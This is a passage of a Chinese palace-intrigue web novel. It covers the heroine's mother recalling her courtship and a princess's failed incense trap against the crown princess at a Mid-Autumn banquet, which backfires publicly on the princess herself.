等热气完全散开之后,白雪才看向锅里蒸的药材,找了一块抹布,把盆端上来,找了一块干净的纱布,把药渣过滤掉,只剩下药汁。
白雪在过滤好的药汁里加入蜂蜡,直至融化、搅拌均匀,待冷却后分装成小盒,整整分装了十小盒。
白雪分成两份,把其中一份交给栖霞,“洁面后,涂于伤口处即可。”
栖霞:“奴婢明白了。”
翌日清晨,天刚蒙蒙亮。
白雪辗转反侧,摸了摸床上找着裴宴景的身影,却摸到床上的余温,睁开眼,睡眼朦胧的环顾四周,终于看见即将走出房间的裴宴景,“你去哪?”
裴宴景闻声转头,扔下一句“急事。”便走出房门。
急事?
今日中秋节,白雪也睡不着觉。
定安侯府小院,白雪看见陈溪岚孤独的坐在院中,端起一根小板凳,把板凳紧挨着陈溪岚的脚边放下,学着陈溪岚的样子,看向天上的月亮。
白雪指着天上一轮满月,“娘,月亮好圆啊。”
“像太阳一样。”
陈溪岚原本悲伤的脸庞,听到白雪这句话,瞬间绽放出一个微笑。
白雪听见娘亲的笑声,也跟着笑了起来,“娘,你笑起来真好看。”
陈溪岚一手揽着白雪小小的肩膀。
白雪:“娘,你能给我讲讲你跟爹爹的故事吗?”
这句话使陈溪岚陷入回忆,“好。”
那一年,杏花微雨。
陈溪岚着一身素色衣裙,单手撑着一把油纸伞,站在小船之上,远远的看见一男子,自己淋在雨中,却保护着怀里的东西,站着岸边一直看往来的船只。
陈溪岚轻声对穿着蓑衣的艄公说道:“艄公,能不能停靠岸边接一人。”
艄公:“可以,敢问小姐想要接谁?”
陈溪岚用手指了指那书生,艄公顺着陈溪岚手指的方向看去,“原来小姐要接的人是他啊。”
陈溪岚有些惊讶,她随手一指的人,艄公竟会认识,“您认识他?”
艄公:“当然。”
“他可是我们这一片的名人。”
“远近闻名的书呆子——白玉山。”
陈溪岚这才仔细朝白玉山看去,一袭青衫洗得泛白,身形单薄且修长,生得一副清俊书生模样。
船只渐渐靠岸,白玉山本想问能否让他搭乘一段距离,但看着船上除了艄公便只有陈溪岚一人,而且见她没有下船的情况,所以没有开口。
他认为孤男寡女通行一船,被人看见,会传出不好的消息,他作为男子倒无所谓,只是担心船上的美人,只得继续等待。
陈溪岚见他明明很想搭乘船,不知什么原因导致他没有开口,轻声说道:“白玉山。”
陈溪岚的声音在雨天显得有些空灵。
白玉山微微抬头,雨水顺着头发流淌,让他有些睁不开眼,但也足够他看清陈溪岚的面貌 。
陈溪岚青丝如瀑布一般,垂落腰间,发间仅插着一根木簪,质朴天然,白皙的皮肤,眉毛弯弯似月,眸含清波,山根秀挺,樱桃小嘴,瞧着一副温婉恬淡的样子。
白玉山肯定自己不认识此等女子,便问道:“你认识我?”
陈溪岚轻轻摇头,“不认识。”
“我想问你,要乘船吗?”
白玉山见没有船只搭乘他的意思,况且美人都已经开口,自己再墨迹就说出过去,斩钉截铁道:“要。”
几日后,陈溪岚走在路上,听见一道声音叫她的名字,回头看去,只见白玉山拿着一本书,看见她回头,立马挥手跑上前。
白玉山惊喜说道:“真的是你。”
“我还有些担心自己认错了人。”
白玉山才看见陈溪岚挎在手上的竹篮,竹篮被蓝色的布遮住,“我帮你拿。”
陈溪岚退后两步:“不用。”注意到白玉山有些受伤的表情,解释道:“这里面的东西,对我来说很重要。”
“你去哪?”
白玉山恢复笑容,“我准备回家。”
“你呢?”
陈溪岚:“我也是。”
两人并排走在一起,脚步也变得同步。
“啊!”
一声尖叫,吸引了两人的注意。
“快来人啊!”
陈溪岚循着声音找去,在木制亭子下看见,身怀六甲的女人坐在地上,背靠着墙壁,在她身下已经有些许的血迹。
陈溪岚立马跑到女人身边,观察了一下女人,“我是一名女医。”
“你是不是快生了?”
在这种天气女人的额头上全是豆大的汗珠,女人喘着粗气,点了点头。
白玉山跟了过去,见是一个身怀六甲的女人,又立马背过身去。
陈溪岚环顾四周,周围站着全是人,深知此地不是最合适的选择,但女人这看着马上就要生的样子,又不得不在这里进行生产。
但幸运的是木制亭子里面有一块布,虽然一些脏,陈溪岚打开看了看,没几处破洞,勉强可以用,长、宽、高也够。
陈溪岚对周围的人说道:“恳请各位给她留出一点空间。”
“能不能来几个女人,帮我把这块布撑起来,挡住她。”
“还有……谁有布、剪刀,还要打一盆热水来。”
周围的人,一听陈溪岚这话,立马一哄而散,独独留下四名女子和白玉山,替女人撑起布。
白玉山愣了几秒,说道:“我去替你找这些东西。”
陈溪岚没有布、剪刀和热水,就如巧妇难为无米之炊。
但很快那些人又回来了,有的人手里拿着剪刀,有的人拿干净的布,有的端着一盆热水,几人相视而笑,纷纷说着:“你也来了?”
“你不是也来了吗?”
“做好事怎么能没有我。”
……
陈溪岚听见声音走出来,看见站在面前,每个人手里都拿着她需要的东西,脸上浮现出安慰的笑容,“行。”深深鞠了一躬,“我替她谢谢你们。”
一声婴儿啼哭声响起,周围的人都露
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出了笑容。
陈溪岚抱着婴儿走出来,“生出来了,谢谢大家。”
白玉山什么也没借到空手而归,垂头丧气的走到周围,便听见陈溪岚说孩子出生的消息,激动的快走几步,被身后赶来的人撞倒。
白玉山见那人头也不会的往前跑,心想他肯定有急事,站起身拍了拍身上的尘土,也跟着跑了过去。
撞倒白玉山的男人名叫陈大山,他是被人通知赶来的,看见陈溪岚抱着的孩子,跑过去,“溪娘…溪娘。”
身怀六甲的女人听见声音,虚弱的看向声音的方向,脸上浮现出一抹释怀的笑容。
陈溪岚看向来人,“里面是你的妻子?”
陈大山焦急的点了点头,看向陈溪岚,见她抱着孩子,“她怎么样了?”
“这是我们的孩子?”
“他是男娃吗?”
陈溪岚警惕地看向他,“你们有人认识他吗?”
其中一名头发花白的老头,仔细的看了看陈大山,“这不大山吗?”
“里面那产妇是你家那位?”
陈大山看向老头,“张伯。”
“里面真的是我妻子。”
“她叫李溪水。”
陈溪岚这才放下戒备心,“你去看看她吧。”
“她刚生产完,有些虚弱。”
“孩子是男娃。”
陈大山走进去,见她只是有些虚弱,没有大碍,这才放下心来。
陈溪岚对举着布的几名女子说道:“可以了。”
“今日多谢你们了。”
几名女子纷纷说道:“不用。”
“能够帮助到别人是好事。”
“我也要谢谢你,今天若不是你的话,我估计那产妇,十有八九会难产。”
等人都散去,陈溪岚挎上自己的竹篮,一回头见白玉山站在原地,笑容灿烂露出八颗洁白的牙齿。
一阵风吹过,吹乱白玉山头发,同时也吹动了他的心。
陈溪岚眼神惊喜,走过去说道:“你怎么还在?”
白玉山:“等你。”
白玉山觉得自己说得太过直白,解释道:“哦,不是,我是想问你还需要帮忙吗?”
陈溪岚:“不用。”
“我准备回家了。”
白玉山:“我也是。”
“你是一名女医?”
陈溪岚羞涩的点了点头,“嗯。”
“但是好多人都喜欢找男医看病。”
时间很快过去,白玉山背着箧笥,同陈溪岚告别道:“等我回来,娶你为妻。”
陈溪岚眼含泪水,“嗯。”把手里这些年替人治病,攒下的钱统统都放在袋中,拿给白玉山,“我等你。”
“这是我替人治病,攒下的钱,你拿着路上用。”
白玉山与陈溪岚推辞了一番,终究抵不过陈溪岚,收下,“你等我回来。”
“等着我金榜题名的时候。”
“一定回来娶你。”
陈溪岚看着眼前人,重重的点了点头,“我等你。”
白雪看向陈溪岚,摇了摇陈溪岚的腿,“娘,后来呢?”
陈溪岚又陷入了回忆,“后来……”
17. 中秋2
十里长街,热闹非凡。
陈溪岚站在众人身后,耳边是喜气洋洋的喇叭声。
陈溪岚好奇的问身旁人,“这是谁家的喜事?”
身旁人:“白家出了个探花。”
陈溪岚:“白家?”
“白玉山?”
身旁人:“你认识他?”
陈溪岚没回答,因为她看见了骑在马背上,一脸春风得意的白玉山。
陈溪岚就那样站在原地看着,直到白玉山骑着马从她身旁行过,她也没有开口叫住白玉山。
白雪打断回忆,问道:“娘,您为何不叫住爹爹?”
为何?
因为她看见了白玉山挂在腰间处的香囊,那香囊定是出自女子之手。
陈溪岚看向白雪:“如果我叫住他。”
“然后呢?”
白雪挠挠头,思索片刻,“然后,爹爹与娘亲快快乐乐的,永远生活在一起呀。”
陈溪岚笑着抚摸白雪的头,笑着笑着眼泪掉了下来。
白雪:“娘,你怎么哭了?”
陈溪岚抚摸着脸庞,摸到脸上湿润的泪痕。
是啊,她怎么哭了?
……
肖玉早已等在书房内,裴宴景刚一走进书房,便听肖玉道:“太子,谷杭出事了。”
“什么事?”裴宴景冰冷的眼神如刀落在肖玉身上,肖玉不自觉打了个寒颤。
肖玉:“今早祁越左等右等不见谷杭出现,立马去他房里,却发现房间里空无一人。”
裴宴景:“我知道了。”
“多派些人手,务必要把他找到。”
裴宴景看了一眼肖玉,吩咐道:“你也一起去找。”
与此同时,白雪洗漱完毕,心血来潮想起那盆被她浇过的花,叶子枯黄了几片,白雪仔细观察了片刻,发现在最不起眼的地方,绽放出了一朵粉色的小花。
“你在看什么?”
白雪听见裴宴景的声音,回头说道:“我在看花。”
裴宴景走近,“哪里?”
白雪指着她刚刚发现的那朵花。
裴宴景看着白雪说道:“挺漂亮的。”
不知是在说花,还是说白雪。
白雪:“我也觉得。”
“中秋宴会什么时候开始?”
裴宴景:“日落时。”
“大概在酉时。”
白雪看了眼天色,现在还是清晨,距离晚上还有一大半的时间,想起裴宴景的脸色似乎比之前好很多,问道:“你身体感觉怎么样?”
裴宴景坐在椅子上,说道:“感觉好多了。”
“你要替我把把脉吗?”
白雪本打算问问就行,听闻此话,把把脉也行,走过去替裴宴景把脉。
脉细如线,应指明显,此为细脉,寓意着裴宴景体内气血两虚、湿邪内阻。
白雪轻声道:“毒已消散殆尽,只是身体还有些虚弱,需要好好补补,但不宜大补,得缓慢进行。”
裴宴景:“听你的。”
白雪:“等你身体恢复,我们便和离罢。”
裴宴景对此有些惊讶,他不知为何白雪会如此想,厉声道:“不行。”
白雪不明白,和离对他们俩都好,本来两人都无感情,而且她想做的事,她不想让别人替她承担责任,惊讶道:“为何?”
裴宴景感觉刚刚太过严厉,语气平缓了许多,说道:“你既已嫁给我,我们俩便携手同进,至于和离,我不想再听到这个词从你嘴里说出来。”
白雪看着他,见他语气认真,眼神坚定,不知怎么就想要相信他一次,说道:“好。”
白雪跟随裴宴景来到中秋晚宴,这是她第一次参加这种宴会。
宴会上,每个人都尽力打扮得漂漂亮亮,白雪看见之前御和楼看见的两名女子,她们两坐在最角落边,手里拿着一个九通锁在玩,另一个女子在教她。
除了她们俩,每个人都在广交好友。
裴宴景与白雪出现在宫宴上,便吸引了众多的目光。
纪云峰本在与人寒暄,看见两人后,本想立即丢下其他人过去,突然察觉到一道目光,余光看去发现是二皇子裴筠,思考一会儿,与旁人继续寒暄。
白雪回过神,看见与人寒暄的纪云峰。
是他?
裴宴景察觉到白雪轻轻动了动胳膊,小声问道:“怎么了?”
白雪:“买我祛疤膏的那个人。”
裴宴景看了一眼纪云峰,“没事。”
“现在人多眼杂,不用管他。”
白雪:“好。”
白雪看着面前的人,这些人她一个也不认识,他们说的话大多是奉承。
白雪云游天际,一个字也没听。
直到耳边传来裴宴景的声音:“你要不要先过去坐。”
过去坐?
哪里坐?
白雪回过神,疑惑的看向裴宴景,许是她的眼神太过直白,裴宴景对身旁的丫鬟道:“带太子妃过去落座。”
白雪看了眼丫鬟。
好生眼熟,是昨日欺负栖霞的领头人。
白雪:“你叫什么名字。”
雪落像没听见一般,白雪又问了一次:“你叫什么名字?”
白雪见她打了个寒战,才回道:“回太子妃,奴婢名为雪落。”
白雪好奇询问:“你怎么了?”
雪落:“没…没事。”
白雪奇怪的看了她一眼,见雪落不说,白雪也没有兴趣知晓她为何这样,环顾四周内心有些奇怪,怎么感觉越走越偏辟,“你要带我去……”
话未说完,白雪被一宫女撞到,宫女手中的酒洒在白雪身上,宫女立马跪在地上,“对不起,对不起,求贵人原谅奴婢。”
白雪立马看向被洒酒的衣裙,刚想开口,身旁的雪落先她一步,呵斥道:“瞎了你的狗眼,竟敢冲撞我们太子妃。”
白雪:“无事。”
“带我去更衣。”
白雪注意力都在衣裙上,没注意到雪落与那名宫女交换神色。
宫女起身:“奴婢立马带太子妃去更衣。”
这一幕被白雅琴看见,虽然疑惑但没发声。
纪璇:“你妹妹无论在哪,都如此的不安分。”
“娘这身打扮可以吗?”
白雅琴看了眼纪璇身上的服饰,这一路上她已经被问了无数次,无奈道:“可以。”
“娘,您打扮这么隆重干嘛?”
纪璇白了她一眼,“
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这你就不懂了。”
“这不叫隆重,而是因有的尊重。”
“你到底懂不懂?”
“懂。”白雅琴挽上纪璇的胳膊,讨好道:“娘,女儿都明白。”
纪璇见她这样就是没听进去的模样,“算了,跟你说了也是白说。”
白雪跟着宫女走到更衣室,她刚踏进更衣室,身后便传来关门声,白雪立马转身拉门,门一动不动,被人从外面闩上了。
屋里弥漫着浓郁的香气,白雪立马屏住呼吸,从袖中掏出手帕掩住口鼻。
这是欢宜香的味道。
白雪自认为自己从不与人结怨,究竟是何人用如此歹毒的手段?
脑中回想起那日御和楼之事。
不会吧?
那公主的气性竟如此之小。
算了,现在不是想这些的时候,还是思考该如何从屋内逃离。
白雪目光落在窗户上,窗户都是禁闭的,白雪抱着试一试的心态。
万一呢?
没有万一,白雪一扇窗户也没打开,陡然听见门外发出声响,思考该如何躲藏。
然而屋子里除了床,就只剩下桌椅板凳,哦还有煤油灯和香炉。
这不是更衣室吗?
怎会如此潦草。
白雪一时想不明白,但屋外的人快要破门而入了,时间也不容她想明白。
最危险的地方,就是最安全的地方。
白雪快速的拿起香炉,躲在门后。
与此同时,裴宴景回到座位上却没看见白雪的身影,朝一旁发呆的雪落问道:“太子妃呢?”
裴宴景见雪落打了个冷颤,立马发觉不对,环顾四周都没看见白雪的身影,而此时裴静姝却对众人说道:“趁父皇、母后还未到,我请众人看一出好戏。”
裴宴景冷冷的看向雪落,仿佛在看一个死人,扔下一句,“你最好祈祷太子妃没事。”便离开了。
雪落立即瘫软在地,她没想到太子竟然如此在乎太子妃。
众人纷纷附和道:“什么好戏啊?”
“是赏花?”
“还是看跳舞?”
裴静姝:“众人请随我来。”
门开,白雪举起香炉砸向进屋的人。
“太子妃。”
怎么会是栖霞的声音?
白雪的动作停在距离栖霞的头零点几厘米的位置,惊讶道:“栖霞,怎么是你?”
栖霞回头看见白雪举着的香炉,松了口气的同时关心道:“太子妃,您没事吧?”
白雪:“栖霞快屏住呼吸。”
栖霞虽然不理解,但还是照做。
白雪把香炉放回原位,牵起栖霞的手,待走出屋子,才问道:“你怎么知道我在里面?”
栖霞:“奴婢看见您走得好好的,那宫女却故意撞向您,把酒洒在您衣裙上,奴婢担心您出事,本想立即叫住您,怎料看见有一位贵妇人带着女儿看向您的方向,这一耽误奴婢便没出声,等那两人走后,才悄悄跟上来,正好听见屋里拉窗户的声音,奴婢猜想可能是太子妃您,走近看见门被闩上,但那锁却没落,奴婢便开门进来,发现您果然被困在里面。”
白雪和栖霞刚走进旁边的房间,一猥琐的男子悄悄走进之前的屋子。
18.中秋3
这间房就比刚刚那一间要多许多东西,最基本的衣柜、屏风这些东西都是有的,但里面的衣服没有一件适合白雪,她虽然最近吃得比以前好很多,但她肉也没涨多少,倒是胸部日渐圆润饱满。
白雪:“栖霞,你…”
话未说完,门便被打开,栖霞立马将白雪护在身后,眼睛死死的盯着门口。
裴宴景神色未变,但急切的动作却暴露了他内心的慌乱,他也不知道自己为何这么怕白雪出事,他想或许是因为他的毒只有白雪能解,即使她说自己的毒已经差不多完全解了,但他说不出的心慌,当看见被栖霞保护在身后的白雪时,心才彻底放下。
栖霞立马让开位置,行礼道:“太子。”
裴宴景大步流星走向白雪,将她拥入怀中。
白雪懵懵的被迫接受这个拥抱,从裴宴景开门到进屋抱住她,也不过是一瞬间的事,白雪不明白他是怎么知道自己在这的,“你怎么知道我在这?”
裴宴景这才放开白雪,说道:“我回到座位,没看见你,担心你出事。”
白雪指着被洒了酒的衣裙,说道:“我衣裙被洒了酒,宫女带我来换衣服。”
裴宴景环顾四周道:“那宫女呢?”
白雪:“我刚进屋子便被她锁在屋里,还好有栖霞,我才能从那屋里出来。”
白雪寥寥几语,再加上之前裴静姝的话,便让裴宴景想通其中缘由,裴静姝竟敢动他的太子妃,看来是真不把他当回事了,还是裴静姝以为他死亡是迟早的事,但不管是什么原因,裴静姝已经把裴宴景得罪了。
裴宴景神色太过严肃,白雪以为他是在生自己的气,轻轻拉了下裴宴景的衣袖。
裴宴景回神道:“那房间在哪?”
白雪指了指隔壁道:“房间里有欢宜香。”
“你先把衣服换了,其他事交给我。”说完,裴宴景便走出房间。
与此同时,裴静姝带着一群世家贵族的夫人、小姐们朝这边走来。
青岚手中拿着九通锁和赵清懿并排走,好奇的问道:“公主带我们看什么好戏?”
无非是一些腌臜事,除此之外赵清懿想不通还有何事,不过是让她们看个热闹而已,赵清懿对此事毫无兴趣,跟来不过是因为大家都来了,而她没来就很显眼。
但赵清懿不想把这种事告诉青岚,她觉得会污了青岚耳朵,说道:“我也不清楚。”
还没走近,众人便听到了淫|秽的声音不觉入耳。
没结婚的小姐们大都害羞此事,更有甚者脸红耳热,不敢再进一步。
其中一名贵妇人带着女儿,女儿看起来不过五、六岁的模样,她捂着女儿耳朵,心生不满,但在不满也不敢顶撞公主,只得小心询问道:“公主,究竟是什么好戏?”
“竟如此不堪入耳。”
裴静姝从那些声音里听到了熟悉的声音,但她本能的没当回事,内心还有些激动,没想到那女人看着老实本分,行床榻之事却如此淫|荡,不过,她怎么没听见那女人的声音,这念头只出现一瞬,下一秒便被她抛之脑后,朝素心使了个眼神,暗示她去开门,对身后众人说道:“大家别急,好戏马上开场。”
随着裴静姝的话音落下,门被素心打开,众人看见房间里的情形,尖叫声此起彼伏地响起,带着女儿的贵妇人立马遮住女儿的眼睛,唯恐被她们看见里面的情形。
屋里的人听见尖叫声看向门口想停止动作,可身体却不容许他们离开,理智只存在一瞬间,下一秒心里便涌上一股莫名的兴奋,动作与之前相比也更大了。
裴静姝看清屋里情况,笑容僵在脸上,谁来告诉她,为什么她最喜欢的几个面首会在里面!
究竟是谁做的这一切!
那个女人呢?
她去哪里了?
这些念头在她脑海里萦绕,直到身旁有人说:“这不是公主养的面首吗?”
裴静姝立马怒吼道:“谁?”
“刚刚是谁说的,给我站出来。”
众人纷纷推辞表示不知道、不清楚、不明白。
众人不敢开口,不代表没人听见,裴静姝的形象在贵妇人眼里一落千丈,养面首你偷偷养当然可以,但这些东西不能被外人发现。
有人发现这里少了个人,便问道:“太子妃呢?”
此话一出,便如平静的湖面被丢下一颗石头,泛起层层涟漪,有些心思细腻之人,纷纷明白公主之举意在何为,但不知为何临了却变成了公主的面首,有的心思活法的人却明白这肯定是因为公主动了太子妃,引起太子的不满,但不管真相如何,这些话谁也不敢说出口。
没人开口说话,场面尴尬到不行。
“你们在找我?”
众人纷纷回头,只见白雪穿着素色衣裙,站在众人身后,虽然衣裙素却衬得她清冷淡雅,不失大方,有人看看太子妃,又看看永宁公主,太子妃的气质把永宁公主的气质衬托得淋漓尽致,永宁公主的形象在众人眼中仿若小丑一般。
永宁跪在地上,皇上裴松与皇后杜若华坐在主位上,众人都坐在自己的位置上,原本应该喜气洋洋的气氛却变得如此的紧张、尴尬,此时此刻,唯一没被这气氛影响的可能就只有太子——裴宴景。
裴宴景拿起桌上他认为好吃的糕点放到白雪面前,说道:“尝尝这个。”
白雪看向面前的糕点,晶莹剔透的叶片形状,就连叶片的每一根脉络都清晰可见,内心不禁感叹道:这皇宫里的厨师就是不一样,连这么简单的糕点也能做出不一样的视觉效果,就是不知道这味道如何。
白雪拿起一旁的羹匙,内心思考究竟从哪里开始,才能不破坏掉它原有的形态,思考半天也没想出来,从边缘处轻轻挖了一小块,放进嘴里,怎么是薄荷的味道,这味道在炎炎夏日吃,也不失为一种享受。<
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耳边传来哭喊的声音,白雪抬头目视前方,只见几名男子被人拖上前来,那些男子纷纷看向公主,嘴里叫喊着:“公主求您救救我们,我们不是自愿的,是被害的。”
裴静姝自己本就在水深火热之中,谈何容易来救他们,本就是泥菩萨过河,自身难保,只是她不理解为何父皇母后今日会如此生气,在她心里太子妃不就是一个被抛弃、放弃的女子吗?就连太子也早已被父皇母后放弃,要不是结婚后,裴宴景的身子越来越好,她相信这两人早就不知魂归何处了。
杜若华心里对裴静姝今日的动作了如指掌,就连皇上裴松都是她尽力拖住,他们两人才会晚到宴会现场,只是她没想到裴静姝竟然如此没用,不仅没害到太子妃白雪,连自己养面首的消息都被众人所知,真是丢皇家的脸面,丢她的脸,杜若华此时恨不得把裴静姝送去和亲。
裴松睥睨的看了眼身旁的杜若华,小声道:“这就是你带出来的公主,今日我的脸都被她丢尽了。”这才大声对众人道:“今日之事,让各位看笑话了,那几个不知天高地厚的浑小子竟敢在今日这样喜庆的日子里这般猖狂,看来是不把我放在眼里。”
裴松语气轻蔑地说:“来人,丢下去喂狗。”
很快,那几个人便被拖了下去,仍他们喊破喉咙也没人搭理,唯有在他们身旁的裴静姝,心里害怕到极点,她左等右等也没等到父皇对她的处罚,心里不禁松了口气想:还是母后厉害,连父皇都被她拿捏得死死的。
苏公公对裴静姝说道:“哎哟,我的永宁公主,您还跪在这干嘛?”
裴静姝看了眼父皇母后的位置,见两人都没看她,而是看向她的身后,她转头看去,只见一群舞姬正在朝她走来,她立马站起身离开。
随着音乐的节奏、舞姬的舞蹈,之前的气氛消失不见,众人脸上又恢复正常,开始谈笑风生。
白雪面前的那碟糕点在她不知不觉间就吃完了,白雪感受到一股阴冷的目光,朝目光望去,只见裴静姝正死死的盯着她。
裴宴景也发现了,小声对白雪道:“放心,她很快就笑不出来了。”
白雪不明白,疑惑的看着裴宴景道:“为何?”
裴宴景笑而不答,从桌上又选了几样好吃的,放在白雪面前。
白雪对他这不明不白的笑容表示疑惑,什么意思?怎么只笑不说话,还给她拿这么多好吃的,究竟是什么意思?认为她太瘦了?
算了,不管了,左右那目光现在对她没有任何的威胁,还不如面前这一碟又一碟的好吃的吸引她。
不过,对面那个男人为何一直盯着她?
裴宴景的声音在她头顶响起:“他是裴筠,我的弟弟——二皇子。”
原来他就是二皇子啊,长得也不怎么样嘛,在白雪看来,还不如身旁这个病弱的裴宴景好看,真是不知为何她亲爱的嫡姐会用如此爱慕的眼光看向裴筠。